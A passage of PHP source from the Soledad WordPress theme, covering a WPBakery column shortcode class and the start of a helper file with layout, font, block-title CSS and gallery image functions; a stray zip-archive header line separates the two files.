					$param_value = isset( ${$param['param_name']} ) ? ${$param['param_name']} : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls_bottom );
			$output .= '</div>';
		}

		return $output;
	}

	/**
	 * @param $controls
	 * @param string $extended_css
	 *
	 * @return string
	 */
	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="vc_controls vc_control-column vc_controls-visible' . ( ! empty( $extended_css ) ? " {$extended_css}" : '' ) . '">';
		$controls_end = '</div>';

		if ( ' bottom-controls' === $extended_css ) {
			$control_title = __( 'Append to this column', 'soledad' );
		} else {
			$control_title = __( 'Prepend to this column', 'soledad' );
		}
		if ( vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->get() ) {
			$controls_add = '<a class="vc_control column_add vc_column-add" data-vc-control="add" href="#" title="' . $control_title . '"><i class="vc-composer-icon vc-c-icon-add"></i></a>';
		} else {
			$controls_add = '';
		}
		$controls_edit = '<a class="vc_control column_edit vc_column-edit"  data-vc-control="edit" href="#" title="' . __( 'Edit this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		//$controls_delete = '<a class="vc_control column_delete vc_column-delete" data-vc-control="delete"  href="#" title="' . __( 'Delete this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_delete = '';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );
		if ( is_array( $controls ) && ! empty( $controls ) ) {
			foreach ( $controls as $control ) {
				if ( 'add' === $control || ( $editAccess && 'edit' === $control ) || $allAccess ) {
					$method_name = vc_camel_case( 'output-editor-control-' . $control );
					if ( method_exists( $this, $method_name ) ) {
						$output .= $this->$method_name();
					} else {
						$control_var = 'controls_' . $control;
						if ( isset( ${$control_var} ) ) {
							$output .= ${$control_var};
						}
					}
				}
			}

			return $output . $controls_end;
		} elseif ( is_string( $controls ) && 'full' === $controls ) {
			if ( $allAccess ) {
				return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
			} elseif ( $editAccess ) {
				return $output . $controls_add . $controls_edit . $controls_end;
			}

			return $output . $controls_add . $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( 'add' === $controls || ( $editAccess && 'edit' == $controls || $allAccess ) && isset( ${$control_var} ) ) {
				return $output . ${$control_var} . $controls_end;
			}

			return $output . $controls_end;
		}
		if ( $allAccess ) {
			return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
		} elseif ( $editAccess ) {
			return $output . $controls_add . $controls_edit . $controls_end;
		}

		return $output . $controls_add . $controls_end;
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function mainHtmlBlockParams( $width, $i ) {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? 'wpb_sortable' : $this->nonDraggableClass );

		return 'data-element_type_sdsds="' . $this->settings['base'] . '" data-vc-column-width="' . wpb_vc_get_column_width_indent( $width[ $i ] ) . '" class="wpb_' . $this->settings['base'] . ' ' . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' ) . ' ' . $this->templateWidth() . ' wpb_content_holder"' . $this->customAdminBlockParams();
	}

	/**
	 * @return string
	 */
	protected function templateWidth() {
		return '<%= window.vc_convert_column_size(params.width) %>';
	}

	/**
	 * @return string
	 */
	public function customAdminBlockParams() {
		return '';
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function containerHtmlBlockParams( $width, $i ) {
		return 'class="wpb_column_container vc_container_for_children"';
	}

	/**
	 * @param $param
	 * @param $value
	 *
	 * @return string
	 */
	public function singleParamHtmlHolder( $param, $value ) {
		$output = '';
		// Compatibility fixes.
		$old_names  = array(
			'yellow_message',
			'blue_message',
			'green_message',
			'button_green',
			'button_grey',
			'button_yellow',
			'button_blue',
			'button_red',
			'button_orange',
		);
		$new_names  = array(
			'alert-block',
			'alert-info',
			'alert-success',
			'btn-success',
			'btn',
			'btn-info',
			'btn-primary',
			'btn-danger',
			'btn-warning',
		);
		$value      = str_ireplace( $old_names, $new_names, $value );
		$param_name = isset( $param['param_name'] ) ? $param['param_name'] : '';
		$type       = isset( $param['type'] ) ? $param['type'] : '';
		$class      = isset( $param['class'] ) ? $param['class'] : '';

		if ( isset( $param['holder'] ) && 'hidden' !== $param['holder'] ) {
			$output .= '<' . $param['holder'] . ' class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . '" name="' . $param_name . '">' . $value . '</' . $param['holder'] . '>';
		}

		return $output;
	}

	/**
	 * @param string $font_color
	 *
	 * @return string
	 */
	public function buildStyle( $font_color = '' ) {
		$style = '';
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}

		return empty( $style ) ? $style : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Advanced_List extends WPBakeryShortCodesContainer {
}

class WPBakeryShortCode_Penci_Advanced_List_Item extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Product_Tabs extends WPBakeryShortCodesContainer {
}

class WPBakeryShortCode_Penci_Product_Tab extends WPBakeryShortCode {
}
PK     N\⽾69  9    inc/js_composer/inc/helper.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * @param $width
 *
 * @return bool|string
 * @since 4.2
 */
if ( ! function_exists( 'penci_wpb_translateColumnWidthToSpan' ) ) :
	function penci_wpb_translateColumnWidthToSpan( $width, $order ) {
		$output = array();
		preg_match( '/(\d+)\/(\d+)/', $width, $matches );

		$container_layout = Penci_Global_Data_Blocks::get_data_row();
		if ( in_array( $container_layout, array( '23_13', '13_23', '14_12_14', '12_14_14', '14_14_12' ) ) ) {
			if ( '1/4' == $width ) {
				$output[] = 'penci-vc-sidebar';
				if ( '12_14_14' == $container_layout ) {
					if ( 2 == $order ) {
						$output [] = 'penci-sidebar-left';
					} else {
						$output [] = 'penci-sidebar-right';
					}
				} else {
					if ( 1 == $order ) {
						$output [] = 'penci-sidebar-left';
					} else {
						$output [] = 'penci-sidebar-right';
					}
				}
			} elseif ( '1/3' == $width ) {
				$output[] = 'penci-vc-sidebar';

				if ( '23_13' == $container_layout ) {
					$output [] = 'penci-sidebar-right';
				} else {
					$output [] = 'penci-sidebar-left';
				}
			} elseif ( '2/3' == $width || '1/2' == $width ) {
				$output[] = 'penci-main-content';
			}
		} else {
			if ( ! empty( $matches ) ) {
				$part_x = (int) $matches[1];
				$part_y = (int) $matches[2];
				if ( $part_x > 0 && $part_y > 0 ) {
					$value = ceil( $part_x / $part_y * 12 );
					if ( $value > 0 && $value <= 12 ) {
						$output[] = 'penci-col-' . $value;
					}
				}
			}
			if ( preg_match( '/\d+\/5$/', $width ) ) {
				$output[] = 'penci-col-' . $width;
			}
		}

		if ( '11' == $width ) {
			$output[] = 'penci-col-12';
		}

		$output = implode( ' ', $output );

		if ( ! $output ) {
			$output = $width;
		}

		return apply_filters( 'penci_vc_translate_column_width_class', $output, $width );
	}
endif;

if ( ! class_exists( 'Penci_Vc_Helper' ) ) :
	class Penci_Vc_Helper {
		public static function get_unique_id_block( $block_id ) {
			return 'penci' . $block_id . '_' . rand( 1000, 100000 );
		}

		public static function get_http() {
			return is_ssl() ? 'https://' : 'http://';
		}

		/**
		 * Get typo of element
		 *
		 * @param $args
		 *
		 * @return string
		 */
		public static function vc_google_fonts_parse_attributes( $args ) {

			$args = wp_parse_args( $args, array(
				'template'   => '',
				'font_size'  => '',
				'font_style' => '',
				'media'      => '768',
			) );

			$output = $styles = $css_size = '';

			// Render google style
			if ( $args['font_style'] ) {
				$fonts_data = vc_parse_multi_attribute( $args['font_style'], array(
					'font_family' => '',
					'font_style'  => '',
				) );

				$fonts_family = explode( ':', $fonts_data['font_family'] );
				$fonts_styles = explode( ':', $fonts_data['font_style'] );

				if ( $fonts_family ) {

					$google_fonts_obj = new Vc_Google_Fonts();
					$font             = $google_fonts_obj->_vc_google_fonts_parse_attributes( array(), trim( $args['font_style'] ) );
					$font             = $font['values'];
					list( $font_family_load ) = explode( ':', $font['font_family'] . ':' );
					$penci_font_enqueue = array( 'Raleway', 'PT Serif' );

					$settings = get_option( 'wpb_js_google_fonts_subsets' );
					if ( is_array( $settings ) && ! empty( $settings ) ) {
						$subsets = '&subset=' . implode( ',', $settings );
					} else {
						$subsets = '';
					}

					if ( $font_family_load && ! in_array( $font_family_load, $penci_font_enqueue ) ) {
						wp_enqueue_style( 'vc_google_fonts_' . vc_build_safe_css_class( urlencode( $font_family_load ) ), '//fonts.googleapis.com/css?family=' . urlencode( $font_family_load ) . $subsets );
					}
				}

				if ( isset( $fonts_family[0] ) && $fonts_family[0] ) {
					$styles .= 'font-family:' . $fonts_family[0] . ';';
				}
				if ( isset( $fonts_styles[1] ) && $fonts_styles[1] ) {
					$styles .= 'font-weight:' . $fonts_styles[1] . ';';
				}
				if ( isset( $fonts_styles[2] ) && $fonts_styles[2] ) {
					$styles .= 'font-style:' . $fonts_styles[2] . ';';
				}
			}

			$multi_fonts = strlen( $args['font_size'] ) > 5;

			// Render font size
			$css_size = '';
			if ( $args['font_size'] && ! $multi_fonts ) {
				$css_size = 'font-size:' . $args['font_size'] . ';';
			}

			// Check Media screen
			if ( $css_size && $args['media'] && ! $multi_fonts ) {
				$output .= sprintf( '@media screen and (min-width: %spx ){' . $args['template'] . '}', $args['media'], $css_size );
			} elseif ( $multi_fonts ) {
				$font_size_arr = json_decode( base64_decode( $args['font_size'] ), true );
				if ( isset( $font_size_arr['data'] ) && $font_size_arr['data'] ) {
					foreach ( $font_size_arr['data'] as $devices => $size ) {

						if ( 'tablet' == $devices ) {
							$output .= sprintf( '@media only screen and (min-width:767px) and (max-width:1200px){' . $args['template'] . '}', $size );
						} elseif ( 'mobile' == $devices ) {
							$output .= sprintf( '@media only screen and (max-width:767px){' . $args['template'] . '}', $size );
						} else {
							$output .= sprintf( $args['template'], $size );
						}
					}
				}
			} else {
				$styles .= $css_size;
			}

			if ( $styles ) {
				$output .= sprintf( $args['template'], $styles );
			}

			return $output;
		}

		public static function markup_block_title( $args ) {
			$defaults = array(
				'heading_title_style'  => 'style-1',
				'heading'              => '',
				'heading_title_link'   => '',
				'add_title_icon'       => '',
				'block_title_icon'     => '',
				'block_title_ialign'   => '',
				'block_title_align'    => '',
				'block_title_offupper' => '',
				'heading_icon_pos'     => '',
				'heading_icon'         => '',
				'block_title_marginbt' => '',
				'blockid'              => '',
			);

			$r = wp_parse_args( $args, $defaults );

			if ( ! $r['heading'] ) {
				return;
			}
			if ( 'video_list' == $r['heading_title_style'] ) {
				return;
			}

			$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
			$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';

			if ( $r['heading_title_style'] ) {
				$heading_title = $r['heading_title_style'];
			}

			if ( $r['block_title_align'] ) {
				$heading_align = $r['block_title_align'];
			}

			$sb_icon_pos         = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
			$heading_icon_pos    = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
			$sb_icon_design      = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
			$heading_icon_design = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;

			if ( $r['heading_icon_pos'] ) {
				$heading_icon_pos = $r['heading_icon_pos'];
			}

			if ( $r['heading_icon'] ) {
				$heading_icon_design = $r['heading_icon'];
			}

			$classes = 'penci-border-arrow penci-homepage-title penci-home-latest-posts';
			$classes .= ' ' . $heading_title;
			$classes .= ' ' . $heading_align;
			$classes .= ' ' . $heading_icon_pos;
			$classes .= ' ' . $heading_icon_design;
			?>
            <div class="<?php echo esc_attr( $classes ); ?>">
                <h3 class="inner-arrow">
					<?php
					if ( $r['heading_title_link'] ) {
						echo '<a href="' . esc_url( $r['heading_title_link'] ) . '">';
					} else {
						echo '<span>';
					}

					if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
						echo '<i class="' . esc_attr( $r['block_title_icon'] ) . '"></i>';
					}
					echo do_shortcode( $r['heading'] );
					if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
						penci_icon_by_ver( 'fa-pos-right ' . esc_attr( $r['block_title_icon'] ) );
					}
					if ( $r['heading_title_link'] ) {
						echo '</a>';
					} else {
						echo '</span>';
					}
					?>
                </h3>
				<?php do_action( 'penci_block_title_extra_' . $r['blockid'] ); ?>
            </div>
			<?php
		}

		public static function get_heading_block_filter_css( $block_id_css, $args ) {
			$defaults = [
				'link_fsize'                      => '',
				'nexprev_fsize'                   => '',
				'btitle_typo'                     => '',
				'btitle_fsize'                    => '',
				'heading_filter_color'            => '',
				'heading_filter_hcolor'           => '',
				'heading_filter_dropdown_bgcolor' => '',
				'heading_filter_dropdown_bdcolor' => '',
				'dropdown_l_color'                => '',
				'dropdown_ha_color'               => '',
				'loading_icolor'                  => '',
				'loadingo_bg_color'               => '',
				'loading_opacity_color'           => '',
			];

			$r      = wp_parse_args( $args, $defaults );
			$output = '';

			if ( $r['link_fsize'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul.pcflx li a{padding-left: calc(' . $r['link_fsize'] . 'px / 2);padding-right: calc(' . $r['link_fsize'] . 'px / 2);}';
				$output .= $block_id_css . ' .pcnav-lgroup ul.pcflx ul li a{padding-left: 0;padding-right: 0;}';
				$output .= $block_id_css . ' .pcnav-lgroup ul.pcflx-nav{padding-left: calc(' . $r['link_fsize'] . 'px - 3px);';
			}

			if ( $r['btitle_typo'] ) {
				$output .= self::vc_google_fonts_parse_attributes( array(
					'font_size'  => $r['btitle_fsize'],
					'font_style' => $r['btitle_typo'],
					'template'   => $block_id_css . ' .pcnav-lgroup ul li a{ %s }',
				) );
			}

			if ( $r['nexprev_fsize'] ) {
				$output .= penci_extract_responsive_fsize( $block_id_css . ' .pcnav-lgroup ul > li > a.pcaj-nav-link', 'font-size', $r['nexprev_fsize'] );
			}

			if ( $r['heading_filter_color'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul > li > a,' . $block_id_css . '  .pcnav-lgroup ul > li{opacity: 1;color:' . $r['heading_filter_color'] . '}';
			}

			if ( $r['heading_filter_hcolor'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul > li > a:hover,' . $block_id_css . ' .pcnav-lgroup ul > li:hover,' . $block_id_css . ' .pcnav-lgroup ul li > a.clactive{color:' . $r['heading_filter_hcolor'] . '}';
			}

			if ( $r['heading_filter_dropdown_bgcolor'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul{background-color:' . $r['heading_filter_dropdown_bgcolor'] . '}';
			}

			if ( $r['heading_filter_dropdown_bdcolor'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul li,' . $block_id_css . ' .pcnav-lgroup ul ul{border-color:' . $r['heading_filter_dropdown_bdcolor'] . '}';
			}

			if ( $r['dropdown_l_color'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul li,' . $block_id_css . ' .pcnav-lgroup ul ul li a{opacity:1;color:' . $r['dropdown_l_color'] . '}';
			}

			if ( $r['dropdown_ha_color'] ) {
				$output .= $block_id_css . ' .pcnav-lgroup ul ul li a.clactive,{{WRAPPER}} .pcnav-lgroup ul ul li:hover,{{WRAPPER}} .pcnav-lgroup ul ul li a:hover{opacity:1;color:' . $r['dropdown_ha_color'] . '}';
			}

			if ( $r['loading_icolor'] ) {
				$output .= $block_id_css . ' .penci-loading-animation-1 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-1 .penci-loading-animation:before,' . $block_id_css . ' .penci-loading-animation-1 .penci-loading-animation:after,' . $block_id_css . ' .penci-loading-animation-5 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-6 .penci-loading-animation:before,' . $block_id_css . ' .penci-loading-animation-7 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-8 .penci-loading-animation,' . $block_id_css . ' .penci-loading-animation-9 .penci-loading-circle-inner:before,' . $block_id_css . ' .penci-loading-animation-1>div,' . $block_id_css . ' .penci-three-bounce .one,' . $block_id_css . ' .penci-three-bounce .two,.penci-three-bounce .three{background-color:' . $r['loading_icolor'] . '}';
				$output .= $block_id_css . '{--pc-loader-2:' . $r['loading_icolor'] . '}';
			}

			if ( $r['loadingo_bg_color'] ) {
				$output .= $block_id_css . ' .pcftaj-ld:before{background-color:' . $r['loadingo_bg_color'] . '}';
			}

			if ( $r['loading_opacity_color'] ) {
				$output .= $block_id_css . ' .pcftaj-ld:before{opacity:' . $r['loading_opacity_color'] . '}';
			}

			return $output;
		}

		public static function get_bookmark_icon_css( $block_id_css, $args ) {
			if ( ! defined( 'PENCI_BL_VERSION' ) ) {
				return;
			}
			$defaults = array(
				'penci_bf_icon_sizes'          => '',
				'penci_bf_icon_fsizes'         => '',
				'penci_bf_icon_icon_color'     => '',
				'penci_bf_icon_icon_bcolor'    => '',
				'penci_bf_icon_icon_bgcolor'   => '',
				'penci_bf_icon_icon_hcolor'    => '',
				'penci_bf_icon_icon_hbcolor'   => '',
				'penci_bf_icon_icon_hbgcolor'  => '',
				'penci_bf_icon_icon_bmcolor'   => '',
				'penci_bf_icon_icon_bmbcolor'  => '',
				'penci_bf_icon_icon_bmbgcolor' => '',
			);
			$r        = wp_parse_args( $args, $defaults );
			$output   = '';

			if ( $r['penci_bf_icon_sizes'] ) {
				$output .= penci_extract_md_responsive_fsize( '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{ width:{{VALUE}};height:{{VALUE}};line-height:{{VALUE}};}', $r['penci_bf_icon_sizes'] );
			}

			if ( $r['penci_bf_icon_fsizes'] ) {
				$output .= penci_extract_md_responsive_fsize( '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{ font-size:{{VALUE}};}', $r['penci_bf_icon_fsizes'] );
			}

			if ( $r['penci_bf_icon_icon_color'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{color:' . $r['penci_bf_icon_icon_color'] . '}';
			}
			if ( $r['penci_bf_icon_icon_bcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{border-color:' . $r['penci_bf_icon_icon_bcolor'] . '}';
			}
			if ( $r['penci_bf_icon_icon_bgcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before{background-color:' . $r['penci_bf_icon_icon_bgcolor'] . '}';
			}

			//hover
			if ( $r['penci_bf_icon_icon_hcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:hover:before{color:' . $r['penci_bf_icon_icon_hcolor'] . '}';
			}
			if ( $r['penci_bf_icon_icon_hbcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:hover:before{border-color:' . $r['penci_bf_icon_icon_hbcolor'] . '}';
			}
			if ( $r['penci_bf_icon_icon_hbgcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:hover:before{background-color:' . $r['penci_bf_icon_icon_hbgcolor'] . '}';
			}

			//activated
			if ( $r['penci_bf_icon_icon_bmcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .penci-bf-following-button .pencibf-following-text:before{color:' . $r['penci_bf_icon_icon_bmcolor'] . '!important}';
			}
			if ( $r['penci_bf_icon_icon_bmbcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .penci-bf-following-button .pencibf-following-text:before{border-color:' . $r['penci_bf_icon_icon_bmbcolor'] . '!important}';
			}
			if ( $r['penci_bf_icon_icon_bmbgcolor'] ) {
				$output .= '{{WRAPPER}} .penci-bf-follow-post-wrapper .penci-bf-following-button .pencibf-following-text:before{background-color:' . $r['penci_bf_icon_icon_bmbgcolor'] . '!important}';
			}

			if ( $output ) {
				$output = str_replace( '{{WRAPPER}}', $block_id_css, $output );
			}

			return $output;

		}

		public static function get_heading_block_css( $block_id_css, $args ) {
			$defaults = array(
				'block_title_color'        => '',
				'block_title_hcolor'       => '',
				'btitle_bcolor'            => '',
				'btitle_outer_bcolor'      => '',
				'btitle_style5_bcolor'     => '',
				'btitle_style78_bcolor'    => '',
				'btitle_bgcolor'           => '',
				'btitle_outer_bgcolor'     => '',
				'btitle_style9_bgimg'      => '',
				'use_btitle_typo'          => '',
				'btitle_typo'              => '',
				'btitle_fsize'             => '',
				'block_title_offupper'     => '',
				'block_title_marginbt'     => '',
				'btitle_style10_btopcolor' => '',
				'btitle_shapes_color'      => '',
				'bgstyle15_color'          => '',
				'iconstyle15_color'        => '',
				'cl_lines'                 => '',
			);

			$r = wp_parse_args( $args, $defaults );

			$output = '';
			if ( $r['block_title_color'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow a,';
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow{ color: ' . esc_attr( $r['block_title_color'] ) . '; }';
			}

			if ( $r['block_title_hcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow a:hover{ color: ' . esc_attr( $r['block_title_hcolor'] ) . '; }';
			}
			if ( $r['btitle_bcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow,';
				$output .= $block_id_css . ' .style-4.penci-border-arrow .inner-arrow:before,';
				$output .= $block_id_css . ' .style-4.penci-border-arrow .inner-arrow:after,';
				$output .= $block_id_css . ' .style-5.penci-border-arrow,';
				$output .= $block_id_css . ' .style-7.penci-border-arrow,';
				$output .= $block_id_css . ' .style-9.penci-border-arrow { border-color: ' . esc_attr( $r['btitle_bcolor'] ) . '; }';
				$output .= $block_id_css . ' .penci-border-arrow:before{ border-top-color: ' . esc_attr( $r['btitle_bcolor'] ) . '; }';
				$output .= $block_id_css . ' .style-16.penci-border-arrow:after{ background-color: ' . esc_attr( $r['btitle_bcolor'] ) . '; }';
			}

			if ( $r['btitle_style5_bcolor'] ) {
				$output .= $block_id_css . ' .style-5.penci-border-arrow{ border-color: ' . esc_attr( $r['btitle_style5_bcolor'] ) . '; }';

				$output .= $block_id_css . ' .style-11.penci-border-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-10,';
				$output .= $block_id_css . ' .style-12.penci-border-arrow,';
				$output .= $block_id_css . ' .style-5.penci-border-arrow .inner-arrow{ border-bottom-color: ' . esc_attr( $r['btitle_style5_bcolor'] ) . '; }';
			}
			if ( $r['btitle_style78_bcolor'] ) {
				$output .= $block_id_css . ' .style-7.penci-border-arrow .inner-arrow:before,';
				$output .= $block_id_css . ' .style-9.penci-border-arrow .inner-arrow:before{ background-color: ' . esc_attr( $r['btitle_style78_bcolor'] ) . '; }';
			}

			if ( $r['btitle_outer_bcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow:after{ border-color: ' . esc_attr( $r['btitle_outer_bcolor'] ) . '; }';
			}
			if ( $r['btitle_style10_btopcolor'] ) {
				$output .= $block_id_css . ' .style-10.penci-border-arrow{ border-top-color: ' . esc_attr( $r['btitle_style10_btopcolor'] ) . '; }';
			}

			if ( $r['btitle_shapes_color'] ) {
				$output .= $block_id_css . ' .style-13.pcalign-center .inner-arrow:before,';
				$output .= $block_id_css . ' .style-13.pcalign-right .inner-arrow:before { border-left-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';

				$output .= $block_id_css . ' .style-13.pcalign-center .inner-arrow:after,';
				$output .= $block_id_css . ' .style-13.pcalign-left .inner-arrow:after { border-right-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';

				$output .= $block_id_css . ' .style-12 .inner-arrow:before,';
				$output .= $block_id_css . ' .style-12.pcalign-right .inner-arrow:after,';
				$output .= $block_id_css . ' .style-12.pcalign-center .inner-arrow:after{ border-bottom-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';

				$output .= $block_id_css . ' .style-11 .inner-arrow:after,';
				$output .= $block_id_css . ' .style-11 .inner-arrow:before{ border-top-color: ' . esc_attr( $r['btitle_shapes_color'] ) . ' !important; }';
			}

			if ( $r['bgstyle15_color'] ) {
				$output .= $block_id_css . ' .style-15.penci-border-arrow:before{ background-color: ' . esc_attr( $r['bgstyle15_color'] ) . ' !important; }';
			}

			if ( $r['iconstyle15_color'] ) {
				$output .= $block_id_css . ' .style-15.penci-border-arrow:after{ color: ' . esc_attr( $r['iconstyle15_color'] ) . ' !important; }';
			}

			if ( $r['cl_lines'] ) {
				$output .= $block_id_css . ' .style-18.penci-border-arrow:after{ color: ' . esc_attr( $r['cl_lines'] ) . ' !important; }';
			}

			if ( $r['btitle_bgcolor'] ) {
				$output .= $block_id_css . ' .penci-homepage-title.style-14 .inner-arrow:before,';
				$output .= $block_id_css . ' .penci-homepage-title.style-11 .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-12 .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-13 .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title .inner-arrow,';
				$output .= $block_id_css . ' .penci-homepage-title.style-15 .inner-arrow{ background-color: ' . esc_attr( $r['btitle_bgcolor'] ) . '; }';
				$output .= $block_id_css . ' .penci-border-arrow.penci-homepage-title.style-2:after{ border-top-color: ' . esc_attr( $r['btitle_bgcolor'] ) . '; }';
			}

			if ( $r['btitle_outer_bgcolor'] ) {
				$output .= $block_id_css . ' .penci-border-arrow:after{ background-color: ' . esc_attr( $r['btitle_outer_bgcolor'] ) . '; }';
			}

			if ( $r['btitle_style9_bgimg'] ) {
				$output .= $block_id_css . ' .style-8.penci-border-arrow .inner-arrow{ background-image: url(' . esc_url( wp_get_attachment_url( $r['btitle_style9_bgimg'] ) ) . '); }';
			}

			if ( $r['use_btitle_typo'] ) {
				$output .= self::vc_google_fonts_parse_attributes( array(
					'font_size'  => $r['btitle_fsize'],
					'font_style' => $r['btitle_typo'],
					'template'   => $block_id_css . ' .penci-border-arrow .inner-arrow{ %s }',
				) );
			}

			if ( $r['block_title_offupper'] ) {
				$output .= $block_id_css . ' .penci-border-arrow .inner-arrow{ text-transform: none; }';
			}
			if ( $r['block_title_marginbt'] ) {
				$output .= $block_id_css . ' penci-border-arrow { margin-bottom:' . esc_attr( $r['block_title_marginbt'] ) . ';}';
			}

			return $output;
		}

		/**
		 * Get url image
		 *
		 * @param $attach_id
		 * @param string $size
		 *
		 * @return mixed|void
		 */
		public static function get_image_holder_gal( $attach_id, $size = 'full', $image_type = 'horizontal', $is_background = true, $count = '', $class = '', $caption_source = '' ) {
			$list_url  = self::penci_image_downsize( $attach_id, array( $size, 'penci-full-thumb' ) );
			$src_large = isset( $list_url['penci-full-thumb']['img_url'] ) ? $list_url['penci-full-thumb']['img_url'] : '';
			$src_thmb  = isset( $list_url[ $size ]['img_url'] ) ? $list_url[ $size ]['img_url'] : '';

			$class_lazy = '';


			if ( $image_type ) {
				$class_lazy .= ' penci-image-' . $image_type;
			}

			$caption_markup     = '';
			$gallery_title      = '';
			$attachment_caption = wp_get_attachment_caption( $attach_id );
			if ( $attachment_caption && 'attachment' == $caption_source ) {
				$caption_markup = '<span class="caption">' . wp_kses( $attachment_caption, array(
						'em'     => array(),
						'strong' => array(),
						'b'      => array(),
						'i'      => array(),
					) ) . '</span>';
				$gallery_title  = ' data-cap="' . esc_attr( $attachment_caption ) . '"';
			}

			if ( $is_background ) {
				ob_start();
				?>
                <div class="penci-gallery-item penci-galitem-<?php echo $count . ( $class ? ' ' . $class : '' ); ?>">
                    <a <?php echo penci_layout_bg( $src_thmb );?> class="<?php echo penci_layout_bg_class();?> penci-gallery-ite penci-image-holder<?php echo $class_lazy; ?>"
                       href="<?php echo $src_large; ?>" <?php echo $gallery_title; ?>>
						<?php echo $caption_markup; ?>
                        <?php echo penci_layout_img( $src_thmb );?>
                        <i class="penciicon-expand"></i>
                    </a>
                </div>
				<?php
				$output = ob_get_clean();

			} else {
				ob_start();
				?>
                <a class="penci-gallery-ite <?php echo $class_lazy . ( $class ? ' ' . $class : '' ); ?>"
                   href="<?php echo $src_large; ?>" <?php echo $gallery_title; ?>>
                    <img src="<?php echo $src_thmb; ?>" alt="<?php echo self::get_image_alt( $attach_id ); ?>"/>
					<?php echo $caption_markup; ?>
                    <i class="penciicon-expand"></i>
                </a>
				<?php
				$output = ob_get_clean();
			}

			return $output;
		}

		public static function penci_image_downsize( $id, $sizes = array( 'medium' ) ) {

			$img_url          = wp_get_attachment_url( $id );
			$img_url_basename = wp_basename( $img_url );

			$list_url = array();

			foreach ( $sizes as $size ) {
				$img_url_pre = $width = $height = '';
				if ( $intermediate = image_get_intermediate_size( $id, $size ) ) {
					$img_url_pre = isset( $intermediate['url'] ) ? $intermediate['url'] : $img_url;
					$width       = isset( $intermediate['width'] ) ? $intermediate['width'] : '';
					$height      = isset( $intermediate['height'] ) ? $intermediate['height'] : '';
